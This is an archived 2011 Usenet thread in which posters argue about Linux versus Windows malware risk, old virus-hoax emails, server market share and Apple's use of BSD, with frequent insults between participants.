>> Hahaha!  Good one Big Steel.  That's right, Dustin is a clown who has
>> written viruses for fun inbetween his real job working as one of the
>> leading programmers in the world.  Chris Ahlstrom is so dumb that (as
>> he admitted in COLA) he once gave out vital personal information about
>> his teenage daughter and his wife to an internet stalker.  Or at least
>> that was the impression I got.  A real family man, Piss Angstrom is.

For the record, that is not quite the case.  I merely let it be known
the area where I live, and the internet stalker(s) did the rest.
Unfortunately, my surname is not so common.

I, quite outraged, verified the information, like a fool.

Of course, who should get the blame?  The stalker(s), of course.

> http://www.youtube.com/watch?v=OQs6EUry4EM


-- 
Hey, if pi == 3, and three == 0, does that make pi == 0?  :-)
		-- Larry Wall in <199711011926.LAA25557@wall.org>
0
ahlstromc8504 (8208)
9/1/2011 11:24:46 AM
RayLopez99 wrote:
> On Sep 1, 3:56 am, David Brown<da...@westcontrol.removethisbit.com>
> wrote:
>> On 31/08/2011 21:35, 7 wrote:
>>
>>> RayLopez99 wrote:
>>
>>>> Linux
>>
>>> 10 minutes have passed since dopez wrote about Linux.
>>
>>> Really 'dumb' question: Could RayLopez99 now list one currently
>>> active virus that I can download and infect a patched Linux PC.
>>
>> There was one famous Linux virus.  It was an email that read something
>> like this :
>>
>> Hi!  This is the Linux virus.  Please delete a bunch of your files at
>> random, then pass me on to everyone in your address book.
>>
>> It was the only Linux virus that had any noticeable circulation.
>
> But there was a Windows variant many moon sago that got me once (and
> I'm smarter than you) that said "if you have this system file,
> XYZ.sys, delete it since it is a virus"--I did so, making a backup
> copy of the file, thinking I could restore the system, and ended up
> having to do a clean reinstall.  But it was a home system where I had
> backed-up the data so I lost nothing but half a day reinstalling.
>
One of these?

sulfnbk.exe - Long Filename support file - Icon looked like a blackboard 
with writing on it. This one was first, and unlike the other one this 
one was a needed file.

<http://www.symantec.com/security_response/writeup.jsp?docid=2001-042411-3943-99&tabid=2>

jdbgmgr.exe - Java Debug Manager - Teddy bear Icon. The Bugbear worm was 
active during this time which made the threatening teddy seem to 
substantiate the hoax.

<http://www.symantec.com/security_response/writeup.jsp?docid=2002-041208-2143-99&tabid=2>
0
erratic (209)
9/1/2011 11:39:46 AM
JeffM wrote:
> 7 wrote:
>> Really 'dumb' question: Could RayLopez99 now list one currently
>> active virus that I can download and infect a patched Linux PC.
>>
> ...or even one that the ESET "Linux anti-virus" looks for.

http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
0
erratic (209)
9/1/2011 11:49:17 AM
On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:

> On Sep 1, 3:26 am, Dustin <bughunter.dus...@gmail.com> wrote:
> 
> 
>> Which will change. Linux has a niche market, for now. It has the
>> illusion of better security as a result.
>>
>> --
> 
> That's so true Dustin.  Linux is 'security by obscurity', with market
> share being the obscurity.

A market share of nearly 70% where it matters: servers and mobiles and 
security by opennes, as in Open Source and (optionally) hardened by the 
NSA.


> At one time people suggested using Firefox
> because it had less market share than MSFT IE, and so fewer browser
> exploits, but that advantage faded as soon as they picked up market
> share.

It still beats the crap out of browsers which

a) do not conform to standards (like IE)
b) are vulnerable to "drive-by-downloads"
c) has security updates about once or twice a year which (mostly) get 
ignored by ignorant users.

> BTW I did not know you could run a browser with elevated privileges
> (administrator rights).

You can, but it's unwise.

> As for viruses or malware, the latest episode for me on W7 was when, as
> you suggest, I foolishly ran an executable found on an external HD that
> was a virus--no fault then of Windows.

Sure it was. the OS should never allow you to run software from external 
(i.e. untrusted) storage. One hurray for POSIX's proper access control!

-------------------------------------------------------------------------------
 ____________________________________
< I know how to do SPECIAL EFFECTS!! >
 ------------------------------------
  \
   \
       ___  
     {~._.~}
      ( Y )
     ()~*~()   
     (_)-(_)   
-------------------------------------------------------------------------------

0
9/1/2011 11:55:54 AM
"Kleuskes & Moos" <kleuske@somewhere.else.net> wrote in message 
news:j3nrsa$1et$1@dont-email.me...
> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>
>
> A market share of nearly 70% where it matters: servers and mobiles...

What makes you think that Linux has a 70% marketshare in servers?  Got a 
reference for that claim?? Last I read Windows Server has a higher server 
marketshare than Linux.




0
zeke1302 (4199)
9/1/2011 12:04:10 PM
Aragorn wrote:

> [Trollfest groups snipped.]
>
> On Thursday 01 September 2011 01:17 in comp.os.linux.setup, Big Steel 
> enlightened humanity with the following words...:
>
>> JEDIDIAH crawl back to your goddman hole where you belong. Nothing you
>> have to say is of any interest to me. You are a typical COLA clown
>> with nothing but excuse, after excuse and excuses I am not interested
>> in what you have to say.
>
> JEDIDIAH also posts in other groups, and this thread was crossposted to 
> two other groups than comp.os.linux.advocacy.
>
> And _we_ over here in *comp.os.linux.setup* are not interested in your 
> "pro-Microsoft-and-anti-GNU/Linux" nonsense from COLA either.  Yes, 
> there /is/ life beyond COLA, and you clowns are fouling it up.
>
> Leave us alone and go update your virus definitions or whatever it is 
> that you MickeySoft idiots spend your days doing.
>
> 	<plonk>

References: <Ue6dnQ_8K53fXMPTnZ2dnUVZ_u2dnZ2d@earthlink.com>

FYI:-
"Big Steel" a nymshifting troll aka "Duane Arnold", an idiotic troll who's
been binned in *most* newsgroups (not just Linux ones).

-- 
In the professional world of astronomy
Linux is ubiquitous.
Nick Howes - Royal Astronomical Society.
& technical consultant to GEO (Spain).
0
William
9/1/2011 12:07:15 PM
"Ezekiel" <zeke@nosuchemail.com> writes:

> "Kleuskes & Moos" <kleuske@somewhere.else.net> wrote in message 
> news:j3nrsa$1et$1@dont-email.me...
>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>
>>
>> A market share of nearly 70% where it matters: servers and mobiles...
>
> What makes you think that Linux has a 70% marketshare in servers?  Got a 
> reference for that claim?? Last I read Windows Server has a higher server 
> marketshare than Linux.

Linux has NO WHERE NEAR 70% of server share. The man is another
delusional COLA moron. Why these arses cant stick to the truth and argue
the Linux corner using facts and its own merits I will never know.

Maybe Rexx told him?
0
hadronquark (21814)
9/1/2011 12:16:25 PM
On 01/09/2011 14:16, Hadron wrote:
> "Ezekiel"<zeke@nosuchemail.com>  writes:
>
>> "Kleuskes&  Moos"<kleuske@somewhere.else.net>  wrote in message
>> news:j3nrsa$1et$1@dont-email.me...
>>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>>
>>>
>>> A market share of nearly 70% where it matters: servers and mobiles...
>>
>> What makes you think that Linux has a 70% marketshare in servers?  Got a
>> reference for that claim?? Last I read Windows Server has a higher server
>> marketshare than Linux.
>
> Linux has NO WHERE NEAR 70% of server share. The man is another
> delusional COLA moron. Why these arses cant stick to the truth and argue
> the Linux corner using facts and its own merits I will never know.
>
> Maybe Rexx told him?

Maybe he was looking at webservers.  Of course, it's difficult to be 
sure how to count them - do you count websites, weight by traffic 
numbers, count virtual servers, etc.?  Certainly it's easy to find solid 
references showing Linux having 70%+ of the webserver market.

For "normal" servers, it's a different matter - I would expect Windows 
server to have a higher market share.  Of course, it is even more 
difficult to judge those numbers, since many Linux systems are installed 
later rather than bought with the server.  And again you have the 
questions of virtual machines - it's easier and cheaper to have lots of 
Linux virtual machines on the same hardware than to have lots of Windows 
virtual machines, so the relative shares will be different if you count 
physical systems or virtual systems (and of course virtual systems can 
be mixed too).  Personally, I'd say that Linux is a standard mainstream 
choice for general purpose servers (unlike the desktop, where it is a 
niche choice) - but I would not claim it leads the market share.

For high-end servers and mainframes, IBM System z dominates - running 
either z/OS or Linux.  And for supercomputers, of course, Linux is 
almost the only choice.  But these categories don't add up much in numbers.

0
david2384 (2168)
9/1/2011 12:43:11 PM
Hadron wrote:

> "Ezekiel" <zeke@nosuchemail.com> writes:
> 
>> "Kleuskes & Moos" <kleuske@somewhere.else.net> wrote in message
>> news:j3nrsa$1et$1@dont-email.me...
>>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>>
>>>
>>> A market share of nearly 70% where it matters: servers and mobiles...
>>
>> What makes you think that Linux has a 70% marketshare in servers?  Got a
>> reference for that claim?? Last I read Windows Server has a higher server
>> marketshare than Linux.
> 
> Linux has NO WHERE NEAR 70% of server share. The man is another
> delusional COLA moron. Why these arses cant stick to the truth and argue
> the Linux corner using facts and its own merits I will never know.
> 
> Maybe Rexx told him?

http://en.wikipedia.org/wiki/Usage_share_of_operating_systems

Idiot

You are really a nasty piece of Snit, Hadron Larry
0
9/1/2011 12:47:24 PM
David Brown <david@westcontrol.removethisbit.com> writes:

> On 01/09/2011 14:16, Hadron wrote:
>> "Ezekiel"<zeke@nosuchemail.com>  writes:
>>
>>> "Kleuskes&  Moos"<kleuske@somewhere.else.net>  wrote in message
>>> news:j3nrsa$1et$1@dont-email.me...
>>>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>>>
>>>>
>>>> A market share of nearly 70% where it matters: servers and mobiles...
>>>
>>> What makes you think that Linux has a 70% marketshare in servers?  Got a
>>> reference for that claim?? Last I read Windows Server has a higher server
>>> marketshare than Linux.
>>
>> Linux has NO WHERE NEAR 70% of server share. The man is another
>> delusional COLA moron. Why these arses cant stick to the truth and argue
>> the Linux corner using facts and its own merits I will never know.
>>
>> Maybe Rexx told him?
>
> Maybe he was looking at webservers.  Of course, it's difficult to be
> sure how to

Maybe he was pulling numbers out of his backside which is normal
MO. "servers and mobiles".

> count them - do you count websites, weight by traffic numbers, count
> virtual

No its not. Walk into offices and companies and look. Most small to
midsize use Windows servers primarily because most of them use
exchange. Sad but true. Many people run Apache on Windows too - why I
dont know ;)

> servers, etc.?  Certainly it's easy to find solid references showing Linux
> having 70%+ of the webserver market.

You have a link for this? Certainly Linux servers running apache,
mysql/postgres, exim etc are very attractive and very good value. I use
them. But I dont make claims that 70% of business servers are linux
which was the cock and bull above. Sorry, but I detest these loonies and
their crazy figures and predictions of MS Doom. Google up "Roy
Schestowitz" and you will see.

0
hadronquark (21814)
9/1/2011 12:52:43 PM
Ezekiel wrote:
> "Kleuskes & Moos" <kleuske@somewhere.else.net> wrote in message 
> news:j3nrsa$1et$1@dont-email.me...
>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>
>>
>> A market share of nearly 70% where it matters: servers and mobiles...
> 
> What makes you think that Linux has a 70% marketshare in servers?  Got a 
> reference for that claim?? Last I read Windows Server has a higher server 
> marketshare than Linux.
> 
> 
> 
> 
well most windows serves are for offies and now they all run as VMs on 
linux hosts, so its a bit of a moot point innit?
0
tnp (2409)
9/1/2011 12:58:09 PM
David Brown wrote:
> On 01/09/2011 14:16, Hadron wrote:
>> "Ezekiel"<zeke@nosuchemail.com>  writes:
>>
>>> "Kleuskes&  Moos"<kleuske@somewhere.else.net>  wrote in message
>>> news:j3nrsa$1et$1@dont-email.me...
>>>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>>>
>>>>
>>>> A market share of nearly 70% where it matters: servers and mobiles...
>>>
>>> What makes you think that Linux has a 70% marketshare in servers?  Got a
>>> reference for that claim?? Last I read Windows Server has a higher 
>>> server
>>> marketshare than Linux.
>>
>> Linux has NO WHERE NEAR 70% of server share. The man is another
>> delusional COLA moron. Why these arses cant stick to the truth and argue
>> the Linux corner using facts and its own merits I will never know.
>>
>> Maybe Rexx told him?
> 
> Maybe he was looking at webservers.  Of course, it's difficult to be 
> sure how to count them - do you count websites, weight by traffic 
> numbers, count virtual servers, etc.?  Certainly it's easy to find solid 
> references showing Linux having 70%+ of the webserver market.
> 
> For "normal" servers, it's a different matter - I would expect Windows 
> server to have a higher market share.  Of course, it is even more 
> difficult to judge those numbers, since many Linux systems are installed 
> later rather than bought with the server.  And again you have the 
> questions of virtual machines - it's easier and cheaper to have lots of 
> Linux virtual machines on the same hardware than to have lots of Windows 
> virtual machines, so the relative shares will be different if you count 
> physical systems or virtual systems (and of course virtual systems can 
> be mixed too).  Personally, I'd say that Linux is a standard mainstream 
> choice for general purpose servers (unlike the desktop, where it is a 
> niche choice) - but I would not claim it leads the market share.
> 
> For high-end servers and mainframes, IBM System z dominates - running 
> either z/OS or Linux.  And for supercomputers, of course, Linux is 
> almost the only choice.  But these categories don't add up much in numbers.
> 
By definition, since its not 'sold' Linux per se has 0% 'market share'

0
tnp (2409)
9/1/2011 12:59:01 PM
The Natural Philosopher <tnp@invalid.invalid> writes:

> David Brown wrote:
>> On 01/09/2011 14:16, Hadron wrote:
>>> "Ezekiel"<zeke@nosuchemail.com>  writes:
>>>
>>>> "Kleuskes&  Moos"<kleuske@somewhere.else.net>  wrote in message
>>>> news:j3nrsa$1et$1@dont-email.me...
>>>>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>>>>
>>>>>
>>>>> A market share of nearly 70% where it matters: servers and mobiles...
>>>>
>>>> What makes you think that Linux has a 70% marketshare in servers?  Got a
>>>> reference for that claim?? Last I read Windows Server has a higher server
>>>> marketshare than Linux.
>>>
>>> Linux has NO WHERE NEAR 70% of server share. The man is another
>>> delusional COLA moron. Why these arses cant stick to the truth and argue
>>> the Linux corner using facts and its own merits I will never know.
>>>
>>> Maybe Rexx told him?
>>
>> Maybe he was looking at webservers.  Of course, it's difficult to be sure how
>> to count them - do you count websites, weight by traffic numbers, count
>> virtual servers, etc.?  Certainly it's easy to find solid references showing
>> Linux having 70%+ of the webserver market.
>>
>> For "normal" servers, it's a different matter - I would expect Windows server
>> to have a higher market share.  Of course, it is even more difficult to judge
>> those numbers, since many Linux systems are installed later rather than bought
>> with the server.  And again you have the questions of virtual machines - it's
>> easier and cheaper to have lots of Linux virtual machines on the same hardware
>> than to have lots of Windows virtual machines, so the relative shares will be
>> different if you count physical systems or virtual systems (and of course
>> virtual systems can be mixed too).  Personally, I'd say that Linux is a
>> standard mainstream choice for general purpose servers (unlike the desktop,
>> where it is a niche choice) - but I would not claim it leads the market share.
>>
>> For high-end servers and mainframes, IBM System z dominates - running either
>> z/OS or Linux.  And for supercomputers, of course, Linux is almost the only
>> choice.  But these categories don't add up much in numbers.
>>
> By definition, since its not 'sold' Linux per se has 0% 'market share'

Only if you're a complete moron. Which you appear to be.

It's meaning is so insanely simple to understand in context even YOU
should know what it refers too.

Let me give you a little lesson in basic Math.

10 companies want to buy an OS.
MS sells a copy of win 7 to 9 of them. MS has 90% of the "market". 10%
is left. Apple or Linux can get in there...

See? It didn't strain your pea brain too much I hope. I realise you
might need to think outside of your little box a little but do
try. Thinking is SO important. Sticking your head in the sand and
whistling dixie is no way to go through son.
0
hadronquark (21814)
9/1/2011 1:04:41 PM
Hadron wrote:
> The Natural Philosopher <tnp@invalid.invalid> writes:
> 
>> David Brown wrote:
>>> On 01/09/2011 14:16, Hadron wrote:
>>>> "Ezekiel"<zeke@nosuchemail.com>  writes:
>>>>
>>>>> "Kleuskes&  Moos"<kleuske@somewhere.else.net>  wrote in message
>>>>> news:j3nrsa$1et$1@dont-email.me...
>>>>>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>>>>>
>>>>>>
>>>>>> A market share of nearly 70% where it matters: servers and mobiles...
>>>>> What makes you think that Linux has a 70% marketshare in servers?  Got a
>>>>> reference for that claim?? Last I read Windows Server has a higher server
>>>>> marketshare than Linux.
>>>> Linux has NO WHERE NEAR 70% of server share. The man is another
>>>> delusional COLA moron. Why these arses cant stick to the truth and argue
>>>> the Linux corner using facts and its own merits I will never know.
>>>>
>>>> Maybe Rexx told him?
>>> Maybe he was looking at webservers.  Of course, it's difficult to be sure how
>>> to count them - do you count websites, weight by traffic numbers, count
>>> virtual servers, etc.?  Certainly it's easy to find solid references showing
>>> Linux having 70%+ of the webserver market.
>>>
>>> For "normal" servers, it's a different matter - I would expect Windows server
>>> to have a higher market share.  Of course, it is even more difficult to judge
>>> those numbers, since many Linux systems are installed later rather than bought
>>> with the server.  And again you have the questions of virtual machines - it's
>>> easier and cheaper to have lots of Linux virtual machines on the same hardware
>>> than to have lots of Windows virtual machines, so the relative shares will be
>>> different if you count physical systems or virtual systems (and of course
>>> virtual systems can be mixed too).  Personally, I'd say that Linux is a
>>> standard mainstream choice for general purpose servers (unlike the desktop,
>>> where it is a niche choice) - but I would not claim it leads the market share.
>>>
>>> For high-end servers and mainframes, IBM System z dominates - running either
>>> z/OS or Linux.  And for supercomputers, of course, Linux is almost the only
>>> choice.  But these categories don't add up much in numbers.
>>>
>> By definition, since its not 'sold' Linux per se has 0% 'market share'
> 
> Only if you're a complete moron. Which you appear to be.
> 
> It's meaning is so insanely simple to understand in context even YOU
> should know what it refers too.
> 
> Let me give you a little lesson in basic Math.
> 
> 10 companies want to buy an OS.
> MS sells a copy of win 7 to 9 of them. MS has 90% of the "market". 10%
> is left. Apple or Linux can get in there...
> 

Well no, they cant. They want to buy an OS. You cant BUY linux.

Ergo if they wanted to bu one, they wouldnt pick Linux would they>


> See? It didn't strain your pea brain too much I hope. I realise you
> might need to think outside of your little box a little but do
> try. Thinking is SO important. Sticking your head in the sand and
> whistling dixie is no way to go through son.

You really crack me up dude.
0
tnp (2409)
9/1/2011 1:09:57 PM
On 9/1/2011 8:04 AM, Ezekiel wrote:
> "Kleuskes&  Moos"<kleuske@somewhere.else.net>  wrote in message
> news:j3nrsa$1et$1@dont-email.me...
>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>
>>
>> A market share of nearly 70% where it matters: servers and mobiles...
>
> What makes you think that Linux has a 70% marketshare in servers?  Got a
> reference for that claim?? Last I read Windows Server has a higher server
> marketshare than Linux.
>

The Linux clowns just fabricate crap up without an ounce of evidence to 
backup their lip-service. Linux is no more leading the O/S server market 
at 70% than the man in the moon. The only thing Linux servers are 
leading in usage is Web servers.

But if facts are shown that MS is leading in total market share in 
server O/S(s), the clowns come up with unjustifiable lip-service that MS 
fabricated the numbers or article posted by a site is owned by MS.
0
bigonezzzz (216)
9/1/2011 1:26:38 PM
On 9/1/2011 7:49 AM, FromTheRafters wrote:
> JeffM wrote:
>> 7 wrote:
>>> Really 'dumb' question: Could RayLopez99 now list one currently
>>> active virus that I can download and infect a patched Linux PC.
>>>
>> ...or even one that the ESET "Linux anti-virus" looks for.
>
> http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux

You can't post facts to a Linux NG. It's a worthless effort. The clowns 
are too far gone mentally to face in thing in reality.
0
bigonezzzz (216)
9/1/2011 1:30:30 PM
On Sep 1, 11:35=A0am, JeffM <jef...@email.com> wrote:
> 7 wrote:
> >Really 'dumb' question: Could RayLopez99 now list one currently
> >active virus that I can download and infect a patched Linux PC.
>
> ...or even one that the ESET "Linux anti-virus" looks for.
>
> The notion of a (for-profit) corporation selling such a product
> reminds me of the guy who bought a magic stone
> to carry with him to keep away tigers.
> So far, no tigers within 20 miles.
> (Note: The product isn't available in Siberia or Bengal.)
>
> The ONLY need for an anti-whatever app on a Linux box
> is to catch files with WINDOZE-SPECIFIC infections.
> (if the box is a relay point for such files, e.g. a mail server
> or a habitual sharer of files from who-knows-where).
>
> Several years back, I remember reading on Slashdot
> about a company that ran all Linux boxes.
> Their customers started bitching at them
> about getting infections from the company's server.
> It had never occurred to them to
> scan the content passing thru their system for Windoze badware
> as none of their own boxes had ever flinched whatsoever.

What the hell are you talking about?  What language do you speak?  You
think you're clever?  "Bengal"?  There's a region of the world called
"Bengal" in your mind?  Sure if you Google it there's at least one
such street or place, but it's not a common name of anywhere.  And
what's this: "had ever flinched whatsoever"?  Who are you to talk
slang, like some sort of penny-ante guru?  You a dime store
philosopher or something?  Nothing you said in your post was either
coherent or made your point--kind of like your pathetic little life.

Get the fuck out of my New Messages URL you bozo.

Linux user.  Figures.

RL
0
raylopez88 (1520)
9/1/2011 2:22:38 PM
On 31/08/2011 10:45 PM, RayLopez99 wrote:
> BTW I did not know you could run a browser with elevated privileges
> (administrator rights).


You can anything at any permissions level you like. It's klutzier to do 
this with Windows than with Linux, is all.

Wolf K.


0
wekirch (32)
9/1/2011 2:30:28 PM
Wolf K wrote:
> On 31/08/2011 10:45 PM, RayLopez99 wrote:
>> BTW I did not know you could run a browser with elevated privileges
>> (administrator rights).
>
>
> You can anything at any permissions level you like. It's klutzier to do
> this with Windows than with Linux, is all.

Indeed, you can also run as administrator in Windows and runas an LUA, 
your browser.

But I can't think of why anyone would, and I doubt it is as safe as just 
running as an LUA in the first place.
0
erratic (209)
9/1/2011 2:36:43 PM
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
NotDashEscaped: You need GnuPG to verify this message

On 09/01/2011 01:57 AM, JEDIDIAH wrote:
> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>> Hadron<hadronquark@gmail.com> wrote in
>> news:6tbov6vyoy.fsf@news.eternal-september.org: 
>>
>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>> the usual techniques since the "dumb" userbase is so small - that
>>> and reasonably secure interfaces to the outside world.
>>
>> Give it time. That dumb userbase is growing. The "friendlier" linux gets, 
>> the dumber the users you will have. This is what happened to windows, 
>> this is how linux will go too. I will laugh hysterically in the 
>> background. Not at anyone in particular, but at the computer industry as 
>> a whole. 
> 
>    You can't get any dumber than the Mac userbase.
> 
>    So where's all the malware?

Well, Jobs got one thing right. He took one of the best OS he could get
BSD. He stole that and makes lot of money with it, not returning a dime
to original developers - that's how.



-- 
Kari Laine

PICs, Displays,Relays - USB-SPI-I2C http://www.byvac.com
USB and FPGA boards  http://www.ztex.de
I am just a happy customer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.16 (GNU/Linux)
Comment: Using GnuPG with SUSE - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJOX6t7AAoJEPjW/Kjfref2elQH/0KfZgituWRuzVcNZfSefFFJ
Q1PL971ydaLJ3GsrI6P0siVhhe0rF1GUl611IC/WobgcBXSwJ4GzC94byMRefwp6
Jo7x/Nfxbr0WYf8ZvJ55cQFUSRvUX6SW67gbcpNDoF7x/qGjWtI9c7C9ghRMx3O5
oTGbvxBUUw+uWtoh83z7JPZadYMrk9C/E6sVgoSkcJsSmb2HkGN3Z0tnjW/4gXo/
+xjNstpxqBw4nzEj0noSwXros1H7Mk8LVzNA2Vnj1IunKGIP1i7bsKKVczXwq2Vj
X3AVVV/QVIsFqL9GG3l7o1UpwYp5wxiT+NtXPgYuqn3C+/nUMniFPUBEJNB5Pus=
=wlk2
-----END PGP SIGNATURE-----
0
karitlaine (1051)
9/1/2011 3:57:47 PM
Kari Laine <karitlaine@yahoo.com> writes:

> On 09/01/2011 01:57 AM, JEDIDIAH wrote:
>> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>>> Hadron<hadronquark@gmail.com> wrote in
>>> news:6tbov6vyoy.fsf@news.eternal-september.org: 
>>>
>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>> the usual techniques since the "dumb" userbase is so small - that
>>>> and reasonably secure interfaces to the outside world.
>>>
>>> Give it time. That dumb userbase is growing. The "friendlier" linux gets, 
>>> the dumber the users you will have. This is what happened to windows, 
>>> this is how linux will go too. I will laugh hysterically in the 
>>> background. Not at anyone in particular, but at the computer industry as 
>>> a whole. 
>> 
>>    You can't get any dumber than the Mac userbase.
>> 
>>    So where's all the malware?
>
> Well, Jobs got one thing right. He took one of the best OS he could get
> BSD. He stole that and makes lot of money with it, not returning a dime
> to original developers - that's how.

LOL! You can't be so fucking stupid as this. I know its you Flatty!
0
hadronquark (21814)
9/1/2011 4:04:57 PM
Kari Laine stated in post 0uadnUl3zpjmNsLTnZ2dnUVZ7sednZ2d@giganews.com on
9/1/11 8:57 AM:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> NotDashEscaped: You need GnuPG to verify this message
> 
> On 09/01/2011 01:57 AM, JEDIDIAH wrote:
>> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>>> Hadron<hadronquark@gmail.com> wrote in
>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>> 
>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>> the usual techniques since the "dumb" userbase is so small - that
>>>> and reasonably secure interfaces to the outside world.
>>> 
>>> Give it time. That dumb userbase is growing. The "friendlier" linux gets,
>>> the dumber the users you will have. This is what happened to windows,
>>> this is how linux will go too. I will laugh hysterically in the
>>> background. Not at anyone in particular, but at the computer industry as
>>> a whole. 
>> 
>>    You can't get any dumber than the Mac userbase.
>> 
>>    So where's all the malware?
> 
> Well, Jobs got one thing right. He took one of the best OS he could get
> BSD. He stole that and makes lot of money with it, not returning a dime
> to original developers - that's how.

Stole? 

Huh?

How the heck do you figure? And do you think Linux distro managers are
guilty of the same form of theft?  How about those who pirate music and
movies?


-- 
🙈🙉🙊


0
usenet2 (47889)
9/1/2011 4:37:52 PM
On 9/1/2011 12:37 PM, Snit wrote:
> Kari Laine stated in post 0uadnUl3zpjmNsLTnZ2dnUVZ7sednZ2d@giganews.com on
> 9/1/11 8:57 AM:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>> NotDashEscaped: You need GnuPG to verify this message
>>
>> On 09/01/2011 01:57 AM, JEDIDIAH wrote:
>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>
>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>> and reasonably secure interfaces to the outside world.
>>>>
>>>> Give it time. That dumb userbase is growing. The "friendlier" linux gets,
>>>> the dumber the users you will have. This is what happened to windows,
>>>> this is how linux will go too. I will laugh hysterically in the
>>>> background. Not at anyone in particular, but at the computer industry as
>>>> a whole.
>>>
>>>     You can't get any dumber than the Mac userbase.
>>>
>>>     So where's all the malware?
>>
>> Well, Jobs got one thing right. He took one of the best OS he could get
>> BSD. He stole that and makes lot of money with it, not returning a dime
>> to original developers - that's how.
>
> Stole?
>
> Huh?
>
> How the heck do you figure? And do you think Linux distro managers are
> guilty of the same form of theft?  How about those who pirate music and
> movies?
>
>

Laine is a real piece of work. Soon Laine will pass 7 with its ramblings 
and babble -- count on it. :)
0
bigonezzzz (216)
9/1/2011 5:03:31 PM
On 01/09/11 14:52, Hadron wrote:
> David Brown<david@westcontrol.removethisbit.com>  writes:
>
>> On 01/09/2011 14:16, Hadron wrote:
>>> "Ezekiel"<zeke@nosuchemail.com>   writes:
>>>
>>>> "Kleuskes&   Moos"<kleuske@somewhere.else.net>   wrote in message
>>>> news:j3nrsa$1et$1@dont-email.me...
>>>>> On Wed, 31 Aug 2011 19:45:53 -0700, RayLopez99 wrote:
>>>>>
>>>>>
>>>>> A market share of nearly 70% where it matters: servers and mobiles...
>>>>
>>>> What makes you think that Linux has a 70% marketshare in servers?  Got a
>>>> reference for that claim?? Last I read Windows Server has a higher server
>>>> marketshare than Linux.
>>>
>>> Linux has NO WHERE NEAR 70% of server share. The man is another
>>> delusional COLA moron. Why these arses cant stick to the truth and argue
>>> the Linux corner using facts and its own merits I will never know.
>>>
>>> Maybe Rexx told him?
>>
>> Maybe he was looking at webservers.  Of course, it's difficult to be
>> sure how to
>
> Maybe he was pulling numbers out of his backside which is normal
> MO. "servers and mobiles".
>
>> count them - do you count websites, weight by traffic numbers, count
>> virtual
>
> No its not. Walk into offices and companies and look. Most small to
> midsize use Windows servers primarily because most of them use
> exchange. Sad but true. Many people run Apache on Windows too - why I
> dont know ;)
>
>> servers, etc.?  Certainly it's easy to find solid references showing Linux
>> having 70%+ of the webserver market.
>
> You have a link for this? Certainly Linux servers running apache,
> mysql/postgres, exim etc are very attractive and very good value. I use
> them. But I dont make claims that 70% of business servers are linux
> which was the cock and bull above. Sorry, but I detest these loonies and
> their crazy figures and predictions of MS Doom. Google up "Roy
> Schestowitz" and you will see.
>

You've lost a little in the snipping.  I haven't claimed that 70% of 
business servers are Linux - I claimed it is easy to find surveys saying 
that something in the region of 70% of webservers are running Linux (or 
that 70% of websites are running on Linux, which is not quite the same 
thing).  Such surveys often break down by web server - but most 
webservers other than IIS are running on Linux.

I agree with you about office servers - Windows probably has about 2 or 
3 times the market share of Linux for such systems.

0
9/1/2011 5:39:33 PM
On 08/31/2011 02:57 PM, Aragorn wrote:
> [Trollfest groups snipped.]
>
> On Wednesday 31 August 2011 19:31 in comp.os.linux.setup, JEDIDIAH
> enlightened humanity with the following words...:
>
>> On 2011-08-31, Hadron<hadronquark@gmail.com>  wrote:
>>> David Brown<david@westcontrol.removethisbit.com>  writes:
>>>
>>>> The only big malware threat that faces Linux is attacks on web
>>>> applications that often run on Linux - but that is a security
>>>> problem of the application, not the OS.
>>>
>>> Whoever told you that nonsense?
>>>
>>> Linux can be and is hacked.
>>
>>     That's something else entirely.
>>
>>     You pretty much have to lie through your teeth to make the original
>> argument seem plausible. You have to depend on your audience not fully
>> understanding what's being discussed.
>
> Well, you are apparently overlooking then that you're dealing with
> Hadron Quark and RayLopez99, two people who are known to lie through
> their teeth all of the time.  And RayLopez99 thinks it gives him more
> credibility if he openly admits to that, even.
>


	Well we Linux users don't have many viruses to worry
about but we make up for that in ignorant trolls.
	The troll feeders are not much better.  Cannot
they  see the groups to which RL99 and the rest of
his crew are cross-posting.

	bliss
0
Bobbie
9/1/2011 7:03:12 PM
On Wed, 31 Aug 2011, in the Usenet newsgroup comp.os.linux.setup, in article
<j3m961$k7h$1@dont-email.me>, Aragorn wrote:

>[Other two groups snipped because it's RayLopez99's umpteenth attempt
>at trolling.]

Well, he managed to hook you - and you compound the error by deleting
those other groups.    Fix your kill file - there has been nothing
posted in c.o.l.a that is even faintly useful/interesting since
"Thu, 06 Nov 1997 21:57:33 -0800" when some unidentified CPU hacker
reported discovering the F00F bug (while apparently playing "what if")
in Message-ID <3462ADCD.135B@noname.com>.

